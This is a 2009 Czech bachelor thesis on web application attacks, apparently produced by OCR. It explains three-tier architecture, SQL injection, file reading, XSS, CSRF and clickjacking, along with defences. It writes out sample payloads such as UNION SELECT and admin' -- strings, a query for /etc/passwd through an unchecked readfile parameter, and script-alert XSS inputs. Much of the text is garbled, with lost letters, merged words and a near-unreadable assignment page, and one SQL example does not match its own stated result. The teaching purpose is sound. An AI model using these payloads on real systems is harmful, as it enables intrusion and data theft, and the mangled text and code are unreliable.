Univerzita Pardubice

Fakulta ekonomicko-spravni

Utoky na webové aplikace

Jan Kolinek

Bakal&ska prace
2009



Univergitn Pardublios
Fakultn ekonomicko-sprivoi
Ustav systédmového ingendrstvl a informatiky
Akademicky rok: 200872009

ZADANI BAKALARSKE PRACE

l;I'I'H'J;_’:l._ll-:I-I'.‘I‘H.r UMELECKENG DILA, UMELEOKEHO VY KONL)

Jindno i pijmentt  Jan KOLINEK
Stadijol progeanmy BG200 Systdmovd infengratvi a informaiika
Atuillnd olwor; Informadni o bogpetnostnl sysiémy

Miery ihmatn; Utoky na webové aplikace

Zawandy pro vypravcovini:

Prablemntika webovyeh apliloed

Diruhy titokn no woliovd apliknes,

Peoweilomi ttoku no teabovae nstadaect Bfzand jasiivin® welai n.pmul.l.'v {#prndovinl ve lorimid
mindthmaoeliddn presentace prooveaki),

"l,I'I\rlmrlnnru'pn[ wondminych modnostl Mok oo webovd aplikace, posoizenl miry III‘IJI'E*I!II."]IIJH“
i obrnn proti nim,



Rogsah grafickych pract;
Havesnli pracovnd sprdivy;
Formn apracovinl bakilifald pries: tlaténd /elektronickd

Segtiiin odbornd Heeratury:
GRUBER, Martin, Mistrovetvi v SQL. [s.1.] 1 SoftPress, 2004, 976 5. ISDN
HO=HG407-62-3,
HOLZNER, Steven, Mistrovatvi v Ajaxu. 8] : Computer press, 2007,
682 5. ISAN 07E-80-261-1850-4,
SCAMBHAY, Jool, SHEMA, Mike, Hacking boz tajemstvi - Webovd apll-
knee. [8.1] 1 Computer Pross, 2008, 360 &. ISBN 80-T226-T0-8.

{ [ v ~
i J’f .-"- { - =

Yedouel haknbiafsko pracs Ing. Mortin Nowvik
Clatny ayuidmovéhio indenymivi o informatiky

Dt gacind bakalifsheé price: G, Fijna 2008
Termin odevedinl baknlifskd pricoe; 1. kvdtna 2000

e
Jl-l-.fﬁ  J 'r 4 " p
L5, o
s g Mol MR, 17,00, ibiser. B JIB WP pebeis, 17010
ilfkni ki “winplinied et

Vo Pardubielch doe G, fijun 2008



Prohlaseni

ProhlaSuji, ze jsem tuto bak&&ou praci vypracoval samostatpod vedenim Ing. Martina
Novéka. VeSkeré literarni prameny a informace, éitgem v praci vyuzil, jsou uvedeny v
seznamu pouzité literatury. Byl jsem sezndmen s Fiense na moji praci vztahuji prava a
povinnosti vyplyvajici ze zakona 121/2000 Sb., autorsky zakon, zejména se &hagti, Ze
Univerzita Pardubice méa pravo na uizav licertni smlouvy o uZiti této prace jako Skolniho dila
podle § 60 odst. 1 autorského zakona, a s timpkedpdojde k uziti této prace mnou nebo bude
poskytnuta licence o uziti jinému subjektu, je Umita Pardubice opra¥na ode mne
pozadovat Pmeieny gispevek na thradu naklad které na vytveeni dila vynalozila, a to podle
okolnosti az do jejich skuteé vyse.

Souhlasim s prezénim zgistuprénim své prace v Univerzitni kniho¥n

V Pardubicich dne 1. 7. 2009

Jan Kolinek



Podtkovani

Rad bych poékoval vedoucimu své bak#gké prace panu Ing. Martinu Novakovi.
PredevSim za jeho #$tny pistup, trglivost a odborné vedeni. Jeho odborné radyiewaly
k UsgSnému dokoteni moji prace.



SOUHRN

Bakal&ska prace je zaktena na bezgmosti problematiku Utak na webové aplikace.
Zabyva se navrhem architektury webovych aplikadileljsou zde i@dstaveny druhy webovych
atoka, zpisoby aplikace, mira jejich nebezpesti a metody obrany proti nim. Z&ecnacast je

vénovana praktickémuipdvedeni dvou webovych Utibka realné webové aplikaci.

KLi COVA SLOVA

webové aplikace, atoky, SQL injection, XSS, CSRIM¢kfacking, phishing, WordPress,
WP-Forum

TITLE

Attacks on web applications

ABSTRACT

This bachelors work is trying to describe issuenvan web attacks. Content of this
bachelor work is focused on web architecture, deson of types of web attacks, web attacks
executions, dangerous measure of web attacks amdtidhaefense against web attacks. Final
part describes examples of two web attacks onwehlapplication.

KEYWORDS

web applications, attacks, SQL injection, XSS, CSRhkckjacking, phishing, WordPress,
WP-Forum
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1 Uvod

Otazka zabezgeni webovych aplikaci je bezesporu nezanedbatehuborkou, které
musi byt pi vyvoji webovych aplikaci #novan dostatay prostor. Stale totiz existuji
principielrg jednoduché metody jak naruSit apliké bezpénost. Ve ¥tSiné pripadi k tomu
stai pristup na uarovni &ného uzivatele webu. Neustdle se setkavaméipady zneuZiti
nedostaténé bezpénosti sluzeb nebo nedostatého po¥domi uZivatek o bezpénosti
pouzivani sluzeb a vyti@ni internetovych stranek a aplikaci.

MnoZstvi Utok na webové aplikace rostefigemz se mni i taktika Gt@nika.
Bezpe&nost webovych aplikaci je mnohdy podogand, pitom tyto aplikace mohou sdilet velmi
duvérna data. & se jedna jen o jménatiptupova hesla nebo emaily uzivateéi zakazniki, tyto
informace v nespravnych rukdch mohdagstavovat velmi vysokeé riziko zneuZziti.

Je dilezité si u¢domit, Ze powdomi 0 moznostech Utékna webové aplikace by néln
mit pouze programaiip kteri vyvijeji tyto aplikace, ale také samotni uzivatelstupujici
do swta internetu. Jestlize programator vytivavebovou aplikaci odolavajici proti znamym
metodam webovych Utdk celé zabezpeni aplikace u ¢kterych typi Gtoki mize postradat
smysl, pokud uzivatel nema zakladni znalosti o mefth zneuZziti svyclinnosti na webu.
Specifickou technikou webového utokuibe byt uzivatel pmén k predani svych tajnych
piistupovych addi, vétSinou ne¥domky, cizi osob.

Cilem této prace jeipdstavit nejbzrejSi typy Gtoki na webové aplikace. Snazim se
ukazat zfisoby, jak zneuzit zranitelnosti ve vybrané webopkkaci, pokud neni dostates

zabezpeéena, a jaka rizika z toho mohou plynout.
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2  Obecneé pojeti webovych aplikaci

Rychlé roz&eni WWW (World Wide Web), zkracénwebu, niize byt do znéné miry
piipsano dostupnosti jeho technologie. Web poskynffgmacni rozhrani, které je jednoduché,
intuitivni a poskytuje odkazy na miliony sidel pelém s¥té.

Zakladnim kamenem navrhu webu je hypertextovy bdKayperlink). Odkazy
na webové strdnce mohou odkazovat na pFdky umistné kdekoliv na sité. Aby mohl tento
technologicky koncept pracovat v ohromnértitku, musely byt vytvieny # ¢asti webu. Musi
existovat jedinéna definice kazdého weboveho piesku. Takové schéma nazvu ma aam
URL.

URL je zpisob identifikace progtdku dostupny skrze internet. Sklada seiz&asti:

» protokolu pro ziskani prastdku, nap. HTTP, FTP
* nazvu hostitele serveru, magyww.seznam.cz

* nazvu prosedku, ktery je tvien ndzvem souboru, nagmai.html, post.php

Ptikladem celého URL iiZe byt:
http://www.seznam.cz/email.html

Druhou ¥c predstavovalo schéma formatovariepasSenych dokument Toto schéma
formétovani je HTML.

Treti cast webu pedstavuji prosedky pro spojeni vSeho do jednoho obrovského
informaniho systému. Jedna se a'osly komunik&ni protokol HTTP nebo HTTPS, ktery
spojuje klientské pracovni stanice s miliony webzvgervei. [1]

Protokol HTTPS je Sifrovanou variantou internetavébrotokolu HTTP pro i®nos

webovych stranek

2.1 Architektura webovych aplikaci

Programovani pro web se vyvijelo od velmi jednogabhwebovych prograiy které
pridavaly interakci s uZivatelem a automatizaci welobvstranek. Web jiz neni jednoduchym
pirenosovym mediem pro statické webové stranky. Dredsowe aplikace iedstavuji kompletni
produlkéni systémy, elektronické obchody, banky, socialid sebo rozhrani pro slozité a

vykonné databaze.

11



Takovéto aplikace jsou implementovany pomogivrstvého modelu ti@ného
z klientské vrstvy (téZz nazyvanou prezei), aplika&ni vrstvy (téZ nazyvanou logickou nebo
stredni) a datové vrstvy. [1]

Déleni jednotlivych vrstev je nasledovné. Webové lkaae a webové servery jsou
souwasti stedni aplik&ni vrstvy. UzZivatelské rozhrani v podotvebového prohlizee se nachazi
v klientské vrst¢. Datova vrstva je obvykle v tomto modelu tepa systémy databazovych
servefi a nema fimou interakci s koncovym uzivatelem tedy klientskostvou.

Klient

- r

Webovy server Webova aplikace Datovy zdroj

Databaze:
- Apache, - PHP ; - MySQL

- 118, ... - ASP, ... ' - SQL Server, ...

Klientska vrstva Aplikaéni vistva Datova vistva
— ﬁ

Obrazek 1 - Trivrstva architektura, zdroj: [2]

|

Obréazek 1 popisuje zakladni princip chov&hirstvého modelu, kde webové aplikace je
postavena na technologii skriptovacich jazygkdatovym zdrojem je databaze. Webovy server
pfijme pozadavek od prohliZe klienta a provede jednu ze dvou akcidBwa poZzadavek odpovi
zaslanim dokumentu, nebo odmitne na pozadavek éd§tav misto toho odeStdselny stavovy
kod indikujici divod odmitnuti. Dokument je dustaticky nebo dynamicky generovan webovou
aplikaci.

V piipadct piijmuti poZadavku od klienta, e nastat f&d odeslanim dokumentu j&st
dalSi situace. Pokud pdijnuti poZadavku logika webové aplikace vyhodnattnost gistupu

do datového zdroje, webové aplikace odeSle pozadavgzadani dat do tohoto zdroje. Datovy
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zdroj vrati webové aplikaci pozadovana data, ta datracuje a po zpracovani webovy server
odpovi zaslanim dokumentu na klientskou stanici.

Vyména pozadavk a odpo¥di mezi klientem a webovym serverem je specifikavan
protokolem HTTP.

2.1.1 Klientska vrstva

V zésad existuji dva pistupy ve vizualizaci dat v elektronické podoldyto pristupy
jsou charakterizovany terminy tlusty a tenky klieheénky klient jecasto pedstavovan &nym
webovym prohlizéem a nevyzaduje tedy Zadnou instalaci programowétmaveni krond
samotného prohliZze. Tlusty klient byva obvykle desktop aplikace, keleryZadovana instalace
nebo alespd podpora automatizovaného spa@nstaplikaci ze vzdalenych pivaci (nag. Java
applet, Flash Plugin). [3]

Webovy prohlize, v ramci gedchozi definice, spada do skupiny tenkého Kklienta.
Webovy prohlizé je aplikace, kterd slouzi v prvriadé k zobrazovani obsahu HTML
dokument. Ty jsou uloZzeny na servereckigmjenych k internetu a dany k dispozici uzivatel
HTML dokumenty pouzivaji celotadu dalSich technologii k rogShi svych moZznosti, jako je
formatovani textu, prace s grafikou, s obrazky, nos vyuziti formul&i a interakce s nimi atd.

Jazyk HTML by se mohldit do dvou skupin. Na staticky a dynamicky. SteéiddTML
maji vytvareny pevny staticky kod, nemi svij obsah ani vzhled.

Dynamické HTML stranky mohou &nit obsah, reagovat agmit svij vzhled na zaklagl
vstupu uzivatele nebo &nit hodnoty atribui. Pokud vznikd pozZadavek pro dynamickou
prezentaci dat, je nutno ro#iijazyk HTML. Dynamické HTML nefidava do samotného
jazyka HTML Zadné nové elementy nebo atributy. Dyitké HTML pouze definuje Zsob,
jakym mohou skripty Zazené do stranky &nit jeji obsah. [4]

Priklady technologii pro vytv@ni dynamickych HTML spoudtych na strah klienta

jsou uvedeny nize:

* ActiveX
» JavaScript

» VBScript (Visual Basic Script)
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Mezi nejpouziva&Si webové prohlizee pati [5]:

* Internet Explorer
» Firefox

* Google Chrome

2.1.2 Aplika éni vrstva

Aplika¢éni vrstva umo#iuje klientské vrsty komunikovat a pracovat s logickou
strukturou webové aplikace. Apli&ai vrstva zodpovida za to, co se objevi na obrazélienta
na zaklad pozadavk aplikace a uzivatele. VeSkera logicka strukturdove aplikace rive byt,
tak jak je to na obrazku 1, umist v této jediné vrstv Webovy server ifiima pozadavky
klienti, odevzdava je aplikaci, ta vrati odgdva server odpovi klientovi. [6]

Mezi webové servery patnasledujici:

» Apache od ASF (Apache Software Foundation)
* Internet Information Server (11S) od Microsoft
» Google Web Server (GWS) od Google

Nad tmito servery poté iZzeme vytvéet aplika&ni logiku s dynamickymi vlastnostmi
aplikaci pomoci programovacich jafiyljejichz skripty jsou provashy na stra webového
serveru a klientovi je odeslana vysledna HTML dtearMezi takovéto programovaci jazyky
pafi:

e« ASP, ASP.NET od Microsoftu
» JSP(Java Server Pages) od Sun Microsystems

* PHP (Hypertext PreProcessor)

2.1.3 Datova vrstva

Tato vrstva slouzi jako datova zakladna. Je jistjoo, jestli je v pozadi relai
databaze, souborovy systém, webova sluiljma aplikace. Datovou zékladnou pro webové
aplikace byvaji neépstji databaze.

Pri pouziti databazi stoji na pimguli webovy server nabizejici sluzbyi BPpracovani

uzivatelského pozadavku je webovou aplikaci kowekha databaze, ze které jsou ziskavany
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poZzadované Udaje, modifikovana stavajici data # nolaje jsou do databaze ukladany. Vlastni
databaze je pro klienta nedostupna. Klient pratigievebovou aplikaci mnohdy o existenci
databaze pracujici na pozadi nevi. Obsah datalézgiigtupren negimo pomoci webové
aplikace. [7]

Priklady databazovych seniejsou:

e MySQL vlastréna firmou Sun Microsystem
* Microsoft SQL Server od Microsoft

* Oracle Database od Oracle

2.1.4 Slabiny tiivrstvé architektury

Tabulka 1 sumarizuje mozné slabiny vyskytujici sgdnotlivych vrstvach rtvrstvé

architektury.

Tabulka 1 - Slabiny komponent kirstvé architektte, zdroj: Autor

Komponenty jednotlivych vrstev Hrozby

« spoudni aktivniho obsahu

Klient e : L
« zneuziti chyb klientského softwaru

Klientska vrstva . . _
( ) e chyby umo&uijici cross site scripting

. , « nevhodna konfigurace serder
Zranitelnost webovych sender g

« zranitelnost v samotnych webovych

Aplika¢ni vrstva
(Aplikac ) serverech

« nevhodny navrh aplikace
Webové aplikace « zneuziti aplikani logiky

: P . e pozmenéni struktury webu
(Aplikacni i klientska vrstva) P © y

« nedostaténa kontrola vstup a vystugh
weboveé aplikace

« nevhodna konfigurace serder

« spoudni pozadovanychifkazi

Databazovy server prostednictvim databazovych dotaz
(Datova vrstva) ¢ manipulace s daty tak, aby byla vracena
citliva data

« nejrozstensjSim Utokem je SQL injection

15



3 Utoky na webové aplikace

3.1 Pro¢ se uta@i na webové aplikace?

Existuje rekolik duvodi, prot se ut@éi na webové aplikace: zdbava, nuda, penize,

otestovani svych schopnosti atd. NiZze jsou popsmdy, pré se vibec Ut@&i na webove

aplikace. [8]

VSudygritomnost

Jednoduché techniky

Vlastni kod

Webové aplikace jsou dnes &&mvSude, stile se roxdji a
pokryvaji napi¢ verejné i soukromé sit Utonici se kazdodern

setkavaji s novymi potencionalnimi cili.

Techniky Gboka webové aplikace jsou snadno pochopitelné i pro
laiky, vétSina z nich je prostého textového charakteru. Tk, jsou
vyZadovany vstupni parametry, &tgpouze mala Uprava a ziskame
uplr¢ jiny vysledek. V porovnani s utokem na og@iasystém typu

(preteteni bufferu) je Utok na webovou aplikaci jednodussi

V dnesni débneni pro jakéhokoliv uzZivatele problém stdhnout
produkt pro vytveéeni vlastniho webového a databazového serveru
typu Apache a MySQL, n&it se libovolny programovaci jazyk
napgiklad ASP.NET, PHP a vyt¥it si vlastni webovou aplikaci,
kterou pak nasadi do provozu ¥jaké domén. Tito programath se
zakladnimi zkuSenostmi mohou ve svych aplikacickvioat brany
potencionalnim udinikim. Na druhou stranu i zkuSeny programator
muze ve své aplikaci vytwd prostor pro realizaci Utoku. Nicmén
cesta k odhaleni takové chybyibe byt narongjsi.

Nezavedeni bezprostnich politik Je mnoho firem, kde se pracujevebovymi

Penize

aplikacemi. Programaitip administratéi, manazé se o ®& staraji, ale
zarover uzivatelé maji pistup do produknich systém, piicemz
nemaji zakladni bezpeostni proSkoleni. Nebo privilégia k uzivani

téchto aplikaci jsou jednotlivym rolin¥iglélovana s nerozmyslem.

Je jasné, Ze e-commerce bude v dlouhode@dedu podporovat
mnoho zajimavych o@ivi. Neni grekvapenim, Ze s¢asné statistiky

nazn&uji, Ze motivace pro provedeni webového Utokecpazi ze
16



slavy z utoku na web na vynagsi zisk. Redstaviteli jsou
organizované spateosti, které maji vynosny zisk z prowdgch
webovych utolk. At uz se jedna offmeé vniknuti na webové servery,
podvodné pesngrovani koncovych uzivatélna jiné stranky( znameé
jako phishing), nebo Gtok na nedostupnost sluZeb (znamé jak@®/D

utoky). Dnesni situace je takova, Zze za webovyizlee plati.

Pro pgehled je piloZzena tabulka 2 zobrazujici porovnani cen za diegjSi typy
~nelegalni“¢innosti [9]:
Tabulka 2 - Ceny ,nelegalnigtinnosti“, zdroj: [9]

Typ ¢innosti Cena (dolary)
Pronajem botnefu 125 dolaf mésicné
DoS uatok (petizeni serveru) 100 dotadenrg
Pristup na cizi bankovnicét 500 az 2 200 dolar
Desettisel kreditnich karetdetrg CVV2° kédu, expirace aj 450 az 575 ddlar
Milion rozeslanych spain 150 dolat
Milion rozeslanych spains phishingem 250 dolar

! Phishing - ozniujeme podvodné e-mailové Gtoky na uZivatele interngejichz cilem je vylakat ivérné
informace.

2 Botnet - je slangové pojmenovanisioftwarovych robotu (béj, kteii provadiji autonoms konkrétniginnost.
Sit mize byt poté vyuzivana legélifdistribuované vyptty) nebo nelegak(DoS Utoky).

¥ CVV2 kdd - je jednim z bezprostnich prvk, ktery se u platebnich karet pouZiva, jedna s# aebo ctyi
¢iselnou hodnotu na zadni stégplatebni karty. Pouziva se u plateb na internetu.
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3.2 Druhy Gtoku

V této kapitole je popsancipvybranych webovych Utdk se kterymi je mozno zneuzit
zranitelnosti webovych aplikaci. Posledni Sestyk (popisuje, jak oklamat uZzivatele webové
aplikace.

3.2.1 SQL injection

SQL injection je druh Utoku pouzivany dioky k ziskavani citlivych udajz databaze.
Tézi z nespravného naprogramovani webovych aplikacimeziuje zadani SQL dotaz
nagiklad do gihlaSovacich formuld, jejich nasledné spusti, a teba vypsani obsahu databaze
na obrazovku.

Nebezpéi tohoto Utoku sp&iva v:

o ziskani pistupu k citlivym daim (nagiklad uzivatelska hesla, skryté emaily atd.)

o ziskani pistupu k jakémukoliv nap administratorskému ¢tu na webu (je-li
n¢jaky)

o ziskani pistupu ke vSemdiim naraz

e (toénik mize smazat data ulozenda v tabulkach

Typem takového Gtoku fxe byt napadeni SQL dotazu, ktery vybird jmérgmeni a

stat jednoho uZivatele podle identifikataid . $id je fetzec ziskany od uZivatele.

SELECT]meno, prijmeni, stat
FROMiziv
WHERHid = {$id}
LIMIT 1

Mnou vlozena hodnota pramnésid je, namisto jedné hodnoty, nasledujetézec:

1' UNION SELECTheslo  ASjmeno, nick AS prijmeni FROMiziv -

Vysledny greformatovany dotaz vypadé nésledé&vn

SELECT jmeno, prijmeni, stat
FROMiziv
WHERHd ="'1" UNION SELECTprijmeni, heslo, email FROMpass --'
LIMIT 1
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Prvni dotaz vybere jednoho uZzivatele, jménéijnpeni, stat a druhy dotaze vybere
vSechna fijmeni uZivatei a knim hesla a email. Klauzule UNION toto vSechsoji
do jediného vysledku. Takze pokud &nik vioZifettzec do neoSgného vstupniho pole nebo
URL odkazu webové stranky, upravi se tivgdni smysl dotazu a skript poslésrypiSe velice
citlivd data. Samaejm¢ je mozné kombinovat jakékoliv sloupce a jakékddiliulky.

Ukazkou jiného zfisobu vyuziti SQL injection je ziskanfigtupu do webové aplikace

jako administrator, aniz bychom museli znat jehsltneéVSe je zobrazeno na obrazku 2.

SELECT SELECT

UID UID

FROM FROM

user usger
WHERE = i3 = WHERE

login = '<menos' —p "admin' -- —» login = '

AND AND

pagsword = '<hesloxz'; paggword = 'zhesgloz';

Obréazek 2 - SQL injection, zdroj: [10]

Prikladem ni@iZze byt webova stranka se &wa vstupnimi poli. Prvni pro zadani
uzivatelského jména a druhé pro heslo. ilp@E levé konstrukce dotazu z obrazku 2,
ve zdrojovém kodu aplikace pro &eni uzivatelského jména, by &ta do pole uzZivatelské

jméno zadat:
admin’ --

tim vznikne dotaz v pravéasti obrazku 2. Vysledkem je, Ze se zakomentég pro nutnost
kontroly hesla aifistup je povolen:

Provedeni podobnych utbkna neoSéené webové aplikaci je se znalosti jazyka SQL
ponerné snadné. Slozitdast tohoto Utoku sgdva v zjiseni, jak je dany dotaz formulovan pop
pod jakym programovacim jazyce je dotaz napsan.

Obrana proti takovému UGtoku je mozna fikpd pomoci PHP funkce

mysgl_real_escape_string() , ktera dokaze odstinit specialni znaky mayozovky, nové
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fadky atd. nebo jejich tvary v Sestnactkovém tvdeumozné vytviit vlastni funkci, ktera tento
problém bude oSiivat. Takova to Uprava je nutna provést u vSecahpustle nutné Gimikovi
zamezit vloZitiettzec podobny fkladaim vySe. Konkrété pro gipad uchovavani hesel je
vhodné hashovat hesla ritgad v programovacim jazyce PHP pomoci funkash(). Pokud
uz dojde k ukradenéthto udaij, je poté obtizné otéena hesla ziskat &p

3.2.2 SpusEni nebo nateni souboru

Za predpokladu, kdy se pomoci parametrititéa nebo spousti soubor z disku a neni
vhodre kontrolovan vstup, lze vyuzit zranitelnosti v &plii a gecist ata@nikem pozadovany

soubor. Pokud v aplikaci bude kdd s nasledujichfdaci:

readfile(  $_GET["file"] )

atocnik miaze zavolat URL index.php?file=/etc/passwd a ziskat obsah souboru
letc/passwd . NejjednodussSi obranou je striktni kontrola pagtaindle seznamu povolenych
hodnot. [11]

DalSi metodou jak ziskat data z disku je ponfienkceload_file() , ktera je sotasti
databdze MySQL. Pokud je &ldno globalni pravoFILE uZivateli, ktery je spravcem
databdzového schématu a zaropges stejného uzivatele webova aplikagistppuje k databazi,
je mozno technikou SQL injection &iat soubor z disku. Ukazka této zranitelnostifiedpedena
v kapitole 4.1 Aplikace atoku SQL injection.

Obranou této zranitelnosti je r&elovat pravoFILE uZivatelim, jejichz &ty jsou

pouzivany webovou aplikaci.

3.2.3 Cross Site Scripting (XSS)

Podstatou atak XSS je, Ze uzivatelem dodany vstup neni spravittrovan a
kontrolovan. Fikladem ntize byt nav&vni kniha na internetu. Nawsmici jsou jako obgejné
podrécovani, aby zanechali zpravu, kterou si mohou viptesist. Utasnik by vSak ostatnim
uzivatetim nezanechalibec Zadnou zpravu, ale kéd v jazyce JavaScriptudalavstvni kniha
neprovadi kontrolu podézlého obsahu ve vstupu ditdka, na webovych strankach se objevi
vnoreny kod, ktery se provede v prohlfiekazdého navstnika se zapnutym obsahem
JavaScript.

Tento typ Utoku lze povaZovat za specialfipad Utok typu Code injection, i nichz
atoénik vlozi na vybrany vstup aplikace vlastni zlomyslobsah. Tento obsah je naslédn
aplikaci grenesen na jiny vystup a spistv kontextu s fivodnim obsahem, ktery by bez pouziti
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této techniky byl uténikovi jinak nedostupny. V ifpadt XSS je timto vstupem vybrany
parametr HTTP zadosti dynamické webové aplikacer(mmarametr v URL, polozka formut
nebo hodnota cookie). Zlomysinym obsahem je kodrpmetovatelny webovym prohligem
(nag. HTML kod nebo JavaScript). Vystupem je servereymasnicky generovana stranka,
poskytnuta v HTTP odp@di. Kontextem je uZzivatelska relace (z anglickélessson) klienta
pristupujiciho k aplikaci. [12]

XSS lIze dlit z hlavniho hlediska na Persistent (trvaly) anNRersistent (d@asny).

* Persistent XSS

Persistent XSS je problematikou fér, knih névsfguestbook) a podobnych webovych
aplikaci, které uchovéavaji data zadana na vstug. nagatabazi nebo v souboru. Tim je
zarweno, Ze dojde k @povnému spusghi skriptu po kazdém geeni stranky dané webové
aplikace do prohlizes.

JavaScriptovy (JS) kod :

<script> alert ("XSS") </script>

Ize povazovat za jednoduchou injekci. Ta ale nerudi svému tvaru fungovat vSude. Vlozeny
JS mize zmisobit "nekorektd napsany HTML kod", fipadré se wibec nevykona. Proto je
vhodrgjSi pouzit okliku ve tvard'> (apostrof, dvojité uvozovky a ostrd zavorka vplavi@ato
vyhybka zpisobi, Ze HTML tag budefpdtasré ukorten a naslednbude zpracovan JS kad.
Na paatku by mohl HTML kod vypadat néglad takhle:

<input type ="text " name="pole " value ="" >

Po odeslani JS kédu se zobrazi dialogové oknateneXSS":

<input type ="text " name="pole " value = ><script>  alert  ("XSS") </script> <l--">

* Non-Persistent XSS

Non-Persistent je problematikou URL adres. Edisgjihodnoty progmnych vyhledavacich
formuléd, radiobuttod atd. Tedy vSeho, co zadamgttzec neuklada, ale pouze ho zpracuje a

posle na vystup.

http://www.victim.at/index.php?id =<script> alert ("XSS") </script>
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Po tomto provedeni by se na obrazovagonzobrazit dialogové okno s textem "XSS". Pokud
ano, aplikace je nachylna na XSS.

V obou gedchozich fipadech byl pouzit jazyk JavaScript, u kteréhovsetr. JavaScript
nemize pracovat s obsahem harddisku na napadeném attak nebez@aost zneuziti tohoto
jazyka neni az tak velka. Neni tak velka do okammzikdy se JS zme kombinovat se
skriptovacim jazykem zpracovavanym na siraeveru (PHP,ASP...). JS obsahuje mnoZstvi
funkci, které mohou napomoci k odcizeni souboookies k dané strance, k editaci textu
na strance a jejich podvrzeni.

Jak se branit takovému utoku? OchraiedpXSS niZe probihat na strarserveru nebo
na strag uzivatele. Na stranserveru jde oisledné filtrovani nebezpeych prvki nebo jejich
pievedeni na neSkodnou podobu. V PHP pro to existujgkce htmlispecialchars(),
mysql_real_string_escape(). Filtrovani je &m nar@ngjSi, protoZze Utok rize nabyvat mnoha
riznych podob (napv piéipact non-persistent Gtdkdochazi k pevodu kédu do Sestnactkového
tvaru nebo jiného skryti — prohlig@ak kod pelozi spravs, ale jednoduchy filtr nebo oko vidi
jen snésici nic ndikajicich znak).

Ochrana na stranuzivatele se &e vypnutim podpory JavaSkriptve webovém
prohlizeii. Ale mnoho dneSnich webovych stranek bez téthnelogie nebude zobrazeno
korektre. Proto musi leZzet ochrana (a zodgamnost) pedevSim na stranservefi, kdy
programatéi webovych aplikaci musi vychazet z logiky, Ze jeddjv vstup je nebezpay a
musi byt oSéeny. [13,14]

3.2.4 Cross Site Request Forgery (CSRF)

Utoky jsou vedeny proti aplikacim, do kterych secafci mohou pihlasit, nebo ke
kterym znaji pistupovy zdrojovy kod. Uimik uzivatele fiméje navstivit webovou stranku
napadené aplikace, ktera provadjakou akci, aniz by o tom uZzivateEdel. Prostednictvim
tohoto Utoku je mozné provédurcité akce, napklad mazani zaznaimale neni mozné datést.

Utok CSRF je netypicky tim, Ze @oik vlastré nelt@&i na samotny webovy server, ale
misto toho nechava opraymého uZivatele prov&t operace podle svého uvazeni. Z pohledu
webové aplikace se jednad o legitimni pokyny opé&éaemo uZzivatele, ten je ale provadi
nedobrovols.

Utoky CSRF jsou obdobou znamych (iokSS. Askoliv nefunguji na stejném principu,
protoze nevyuzivaji skriptovaci jazyk. Stejjako XSS atoky jsou nadf@ny proti koncovym
uzivateim. Kazdy CSRF utok je t¥en specialnim odkazem, na ktery secdtk snazi nalakat

sveé okti, aby pod jejich identitou proved| skrytou akkierou by za &nych okolnosti samotni

22



navsevnici nikdy neudlali. Pouzije-li ut@nik pokrailych metod utoku, ize ok’ donutit, aby
nésledovala odkaz dokonce bez jejikmlami a aktivni spolufasti, ktera jinak v Kkliknuti na
odkaz spoiva.

Prikladem ukéazky nebezpeosti mize byt webmailova sluzba. Utoik zasle obti odkaz
na stranku s adreim. Sam Uténik se do adres$d ok¥ti nedostane. Neni pragjvSak problém
zjistit si nav&vou vlastniho &tu, jaky je cely obsah URLipprochazeni adres& Reknsme, Ze
je touto adresounttp://www.testovacistranka.cz/adresar/nahled.pfipnto odkaz pak Utoik
pouze zaSle své &th a ta se, pokud na odkaz klikne, ocitne razerawém adresa

Jak jsem jiz uvedl, &&r¢ Gtacnik péistup do ciziho adrei& nema. Mize ale donutit
svou olét’ k navseve jejiho adresée prostednictvim odkazu.

Uvedenim tohoto jfkladu nepedstavuje pro uZivatele zadné nebekp8louzil pouze
pro gredstavu, jakym zisobem se iize Ut@nik s identitou o&ti dostat na mista, kam by se
za norméalnich okolnosti nedostal. Daleko horSiatkgl mize mit odkaz, jehoZz nésledovani
vede k vymazani adragdnebo doréenych zprav, k nastavenigsnérovani gichozi posty,
nebo dokonce ke zn¢ pristupového hesla. VSechny tyto akcézen ut@nik provést, pouze

prostednictvim odkazu na ktery &bklikne.

Cile CSRF utoki:
* newdomé hlasovani v anketach,
* newdomé vkladanifispivki do diskusnich for,
e zmeny v nastaveni uzivatelskéhotu,
» kradez uzivatelskéhcttu,
e newdomé nakupy v e-shopech,
* Utoky na webové aplikace&kici v intranetu,

* zmena nastaveni gatewaye, firewalu, nebo jinydiizeai v intranetu.

Jak se branit? Obrana proti tomuto Utoku g ve vygenerovani nahodnébeiczce, tzv.
tokenu na strance, kterégochazi provedeni operace (hagnazani zaznamueguchazi jeho
zobrazeni). Tento token se naskediozi do session pranné a zaroviese posle ve skrytém
formul&ovém poli. Red provedenim operace se porovna hodnota tokeessios prornné

a ve skrytéem formul@vém poli a operace se provede jen tehdy, kdyZ tigouhodnoty totozné.
[15, 16, 17]
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3.2.5 Clickjacking

Pod pojmem clickjacking se mini cela sada metoetgktlovoluji nezadoucim @gpobem
presnérovat uZivatele na jiné weby. Nebo na klientskyagif@atich provadt jiné nezadouci
operace tykajicich sefiptupu na zabezpené stranky a sluzby. Podstatou Gtokuijengt obst’

k jedinému kliknuti. Utonik prekryje webové stranky vlastnim obsahem. Nic nefusixt
jednoduse provadi operace skrzekpyvny obsah a n€domky tak provede operace, které by
provést neckita

Napadeni ptom funguje tim zfisobem, Ze se uzivateli na webové strance ,péitistr
odkazy, celé strankyi jiné prvky, skryté pod zdanlévnevinnym obsahem a tyto jsou pak
ovladany utenikem pozadovanym #gpobem. K ukryti a napadeni Ize pouZzit celadu metod,
mimo JavaScriptu takérdgba kaskadové styly, prvek iFrame, fornial&é pole, ActiveX
komponenty a kori@¢ i Flash prezentace. Flash prezentace s vyuZithaumriE mohou twit
prihlednéci na strankach zakryté prvky. [18]

Jeremiah Grossman a Robert Hansen na svém blogaujukgiiklad zneuziti
clickjackingu s vyuzitim iFrame a Flash playeru.¢©Oklikne na nevina vyhliZzejici odkaz, pod
kterym se skryva okno Flash playeru aktivujici wedaokameru. [19]

Podobny typ utoku je znazamna obrazku 3. Zde je ale misto okna Flash plagieryty
formul&, kopirujici pozice vstupnich poli z viditelnéharfwlée. Cilem je vykrast vloZzena data
z formul&e viditelného pro uZivatele.

Timto Utokem lze zneuzit v podstatSechny nejpouzivajsi prohliz€e. Zamezeni
tomuto druhu Gtoku nabizi v stasné dob pouze plugifi v prohlizée Firefox zvany NoScript,
ktery dokaze zamezit zobrazeni dynamického obsathowjch stranek. U verzi Flash playeru
nizSich jak 10, se dopatuje zamezit v konfiguraci kifstupu ges web k zdzenim typu web
kamera a mikrofon. Ve verzi Flash playeru 10 je tainfigurace fistupu k externim Z&enim
